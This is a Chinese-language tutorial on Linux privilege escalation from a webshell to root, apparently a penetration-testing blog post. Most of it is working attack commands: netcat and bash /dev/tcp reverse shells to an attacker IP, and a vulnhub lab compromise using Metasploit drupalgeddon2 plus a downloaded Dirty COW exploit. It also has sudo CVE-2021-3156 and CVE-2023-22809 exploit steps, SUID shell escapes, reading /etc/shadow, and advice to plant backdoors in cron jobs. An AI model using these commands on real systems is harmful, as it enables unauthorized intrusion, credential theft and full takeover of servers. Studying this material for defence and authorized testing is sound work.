Linux 提权 — 从 WebShell 到 root,内核、SUID、sudo 三管齐下
前面花了大量篇幅讲 Windows 提权,但生产环境中 Linux 服务器占比更高。Linux 提权和 Windows 思路类似——找漏洞、找配置缺陷、找权限滥用——但工具和方法完全不同。今天从内核漏洞脏牛到 sudo 溢出再到 SUID 滥用,把 Linux 提权三板斧讲透。
一、Linux 必知必会命令速查
系统信息
uname -a # 查看所有系统信息(内核版本必查)
cat /etc/issue # 查看发行版本
cat /etc/*-release # 查看发行版本详情
cat /etc/passwd # 列出系统所有用户
cat /etc/shadow # 列出所有用户密码(加密的)
文件操作
ls -al # 显示所有文件(含隐藏文件)
pwd # 当前目录
cat 文件名 # 查看文件
cat >abc.txt # 写入内容到文件
cd .. # 返回上级
cd / # 返回根目录
网络
ifconfig / ip a # 查看 IP
netstat -antp # 查看端口连接
用户与权限
whoami # 当前用户
su 用户 # 切换用户
chmod 777 文件 # 赋予全部权限
chmod +s 命令 # 设置 SUID 权限
进程与任务
ps aux # 所有进程
kill -9 PID # 强杀进程
crontab -l # 查看计划任务
工具
wget URL # 下载文件
curl URL -o 文件名 # 下载文件
gcc / g++ # 编译 C/C++ 程序
python -c 'import pty; pty.spawn("/bin/bash")' # 提升 shell 交互性
二、反弹 Shell — 提权的前提
为什么需要反弹 Shell?
WebShell 能执行命令,但不支持交互式操作。溢出工具需要完整的终端才能运行。反弹 Shell 就是从目标机器上「弹」一个完整的命令行终端回来。
三种反弹方式
方式 1:NC 反弹
# 攻击机监听
nc -lvvp 12666
# 目标机执行(通过 WebShell)
nc 攻击机IP 12666 -e /bin/bash
方式 2:Bash 反弹(最常用)
# 攻击机监听
nc -vv -l -p 8000
# 目标机执行
bash -i >& /dev/tcp/攻击机IP/8000 0>&1
原理拆解:
bash -i → 创建一个交互式 Bash
>& /dev/tcp/IP/8000 → 将标准输出和错误输出重定向到攻击机的 8000 端口
0>&1 → 将标准输入也重定向过去
效果:目标机上敲键盘 → 数据通过 TCP 发到攻击机 → 攻击机上看到输出 → 完整的交互式 Shell!
方式 3:Python 升级 Shell
MSF 反弹的 Shell 交互性很差,用 Python 升级:
python -c 'import pty; pty.spawn("/bin/bash")'
三、内核漏洞提权 — 脏牛(Dirty Cow)
3.1 Linux 版本认知
发行版本:
| CentOS | 网站运维 |
| Ubuntu | 程序员 / 开发者 |
| Debian | 安全人员 |
cat /etc/issue # 查看发行版本
cat /etc/*-release # 详细版本信息
内核版本:
uname -a
# 输出示例:Linux debian 4.9.0-8-amd64 #1 SMP …
# 解读:4.9.0-8
# 4 → 主版本
# 9 → 次版本(偶数=稳定版,奇数=开发版)
# 0 → 错误修补次数
查找漏洞:
# searchsploit 搜索公开 EXP
searchsploit linux Debian 4
# 查看 EXP 详情
searchsploit -p 19256
# GitHub 资源
# https://github.com/SecWiki/linux-kernel-exploits
3.2 脏牛漏洞(Dirty Cow)原理
漏洞编号:CVE-2016-5195
一句话原理:
内核在处理内存页的写时复制(Copy-On-Write)机制时存在竞争条件。攻击者利用这个竞争条件,可以将原本只读的内存页面修改为可写,从而实现向只读文件中写入任意内容——比如往 /etc/passwd 里加一个 root 用户。
影响范围: Linux 内核版本 4.8 以下。
为什么叫「脏牛」?
- Dirty = 修改了不该修改的内存页
- Cow = Copy-On-Write 操作
- 合起来 = 脏牛
3.3 脏牛提权完整实战(vulnhub 靶场)
阶段 1:发现目标
# nmap 扫网段
nmap 10.0.0.0/24
# 排除法确定靶场 IP
# 已知:10.0.0.1 为物理机、10.0.0.254 为网关、10.0.0.201 为 Kali
# 对 10.0.0.2 和 10.0.0.5 分别扫端口
nmap 10.0.0.5 -p-
# 发现 80 和 1898 端口开放
阶段 2:识别框架
访问 10.0.0.5:1898 → 发现 CMS 框架为 Drupal。
阶段 3:利用框架漏洞
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 10.0.0.5
set rport 1898
run
# 拿到 Shell!
阶段 4:脏牛提权
# 查看内核版本 → 4.8 以下 → 使用脏牛 1.0
uname -a
# 下载脚本(通过 kali Apache 服务器中转)
cd /tmp
wget http://10.0.0.201:80/Dirty.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil
# 执行
./dcow -s
# 成功 → root 权限!
g++ 编译参数详解:
| -Wall | 发出所有有用的警告 |
| -O2 | 编译优化级别 |
| -pthread | 多线程支持 |
| -lutil | 链接 util 库 |
⚠️ 内核漏洞警告
内核漏洞提权应作为最后手段:
四、Sudo 提权
4.1 原理
sudo 允许普通用户以 root 身份运行部分命令。如果 sudo 本身存在漏洞,普通用户就能利用漏洞直接获得 root 权限。
4.2 CVE-2023-22809(sudoedit 绕过)
影响版本: sudo 1.8.0 ~ 1.9.12p1
# 查看 sudo 版本
sudo -V
# cd 到 /tmp,上传 EXP,执行
chmod 777 SUDO-EXP.sh
./SUDO-EXP.sh
# → root 权限!
4.3 CVE-2021-3156(sudoedit 缓冲区溢出)
2021 年披露的高危漏洞。sudo 在 shell 模式下使用 -s 或 -i 选项时没有正确转义反斜杠,导致堆缓冲区溢出。只要存在 sudoers 文件,普通用户就能利用此漏洞提权到 root。
影响版本:
- sudo 1.8.2 ~ 1.8.31p2
- sudo 1.9.0 ~ 1.9.5p1
# 1. 查看 sudo 版本
sudo –version
# 2. 编译 EXP
cd /tmp && mkdir 1 && cd 1
# 上传 CVE-2021-3156 EXP
make
# 3. 运行 → 根据系统版本选择编号
./sudo-hax-me-a-sandwich 0
whoami
# → root!
五、SUID 提权
5.1 什么是 SUID?
SUID(Set User ID)是一种特殊权限。设置了 SUID 的程序,在用户执行时,会以该程序属主的权限运行。
类比: 古代皇帝给将军的虎符——手持虎符就能调用千军万马,即使你本人只是一个普通士兵。
例如,ping 命令需要 root 权限才能打开网络套接字,但普通用户也能 ping。这就是因为 /usr/bin/ping 被设置了 SUID,所有执行 ping 的用户都暂时拥有 root 的权限。
5.2 查找 SUID 文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \\;
5.3 常见 SUID 提权命令
| nmap | 旧版(2.02~5.21)支持交互模式 –interactive → !sh → root |
| vim | vim /etc/shadow 直接读密码文件 |
| find | find / -exec /bin/sh \\; → root shell |
| bash | bash -p → 直接弹出 root 交互式 shell |
| less | less /etc/passwd → !/bin/sh → root shell |
| more | 同 less |
nmap SUID 利用
nmap –version # 确认是旧版本
nmap –interactive # 进入交互模式
!sh # 提权到 root!
find SUID 利用
find /home -exec /bin/sh \\; # 任何路径都行
# → root shell!
bash SUID 利用
bash -p
# → root shell!
vim SUID 利用
vim /etc/shadow # 直接读取密码文件
六、Linux 提权全景对比
| 脏牛 | 内核 COW 竞争条件 | 内核 < 4.8 | 🔴 可能崩溃 |
| CVE-2021-3156 | sudoedit 缓冲区溢出 | sudo 1.8.2~1.9.5p1 | 🟡 较稳定 |
| CVE-2023-22809 | sudoedit 配置绕过 | sudo 1.8.0~1.9.12p1 | 🟡 较稳定 |
| SUID 命令 | 命令权限配置缺陷 | 特定命令有 SUID | 🟢 最安全 |
七、Linux 提权完整流程
拿到 WebShell
↓
反弹交互式 Shell(bash -i / nc)
↓
信息收集
├── uname -a → 内核版本
├── cat /etc/issue → 发行版本
├── sudo –version → sudo 版本
├── find / -perm -4000 → SUID 文件
├── cat /etc/crontab → 计划任务
└── cat /etc/passwd → 用户列表
↓
选择提权路径
├── 内核 < 4.8 → 脏牛
├── sudo 有漏洞版本 → sudoedit EXP
├── 有 SUID 文件 → nmap / vim / find / bash
└── 计划任务 writable → 写后门到定时任务
↓
提权成功 → root! 🎯
写在最后: Linux 提权比 Windows 更依赖「信息收集」——一个 uname -a、一个 sudo -V、一个 find / -perm -4000 三连查询,往往比花时间试漏洞更重要。脏牛虽猛但可能崩服务器,SUID 提权最安全但看运气。记住:内核漏洞是最后手段,SUID 和 sudo 才是日常提权的主战场。


